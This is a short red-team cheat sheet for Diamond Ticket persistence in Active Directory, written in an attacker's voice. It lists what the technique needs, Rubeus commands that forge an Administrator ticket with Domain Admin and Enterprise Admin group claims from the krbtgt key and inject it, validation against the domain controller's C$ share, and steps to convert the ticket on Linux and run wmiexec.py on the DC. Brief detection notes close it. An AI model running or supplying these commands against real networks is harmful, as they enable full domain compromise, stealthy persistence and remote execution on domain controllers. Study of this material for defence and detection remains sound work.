Diamond Ticket persistence starts with a real TGT and modifies it using the krbtgt key. The result keeps more normal ticket structure than a fully forged Golden Ticket, while still giving us attacker-controlled authorization data.
Requirements
Valid domain user context or TGT.
`krbtgt` RC4 or AES key.
Domain SID.
Target username, RID, and group claims.
Rubeus with TGT delegation
Rubeus.exe diamond /tgtdeleg /krbkey:KRBTGT_AES256_OR_RC4 /ticketuser:Administrator /ticketuserid:500 /groups:512,513,518,519,520 /domain:ootw.local /dc:dc01.ootw.local /ptt
Rubeus from existing ticket
Rubeus.exe dump /nowrap
Rubeus.exe diamond /ticket:BASE64_TGT /krbkey:KRBTGT_AES256_OR_RC4 /ticketuser:Administrator /ticketuserid:500 /groups:512,513,518,519,520 /domain:ootw.local /ptt
Validate
klist
dir \\dc01.ootw.local\c$
Use from Linux after export
minikerberos-kirbi2ccache diamond.kirbi diamond.ccache
export KRB5CCNAME=diamond.ccache
klist
wmiexec.py -k -no-pass ootw.local/Administrator@dc01.ootw.local
Notes
- Diamond Tickets still depend on
krbtgtcompromise. - They are usually stealthier than obviously malformed Golden Tickets, but they are not magic.
- Detection still focuses on privileged access patterns, abnormal group claims, ticket lifetimes, and accounts acting outside their baseline.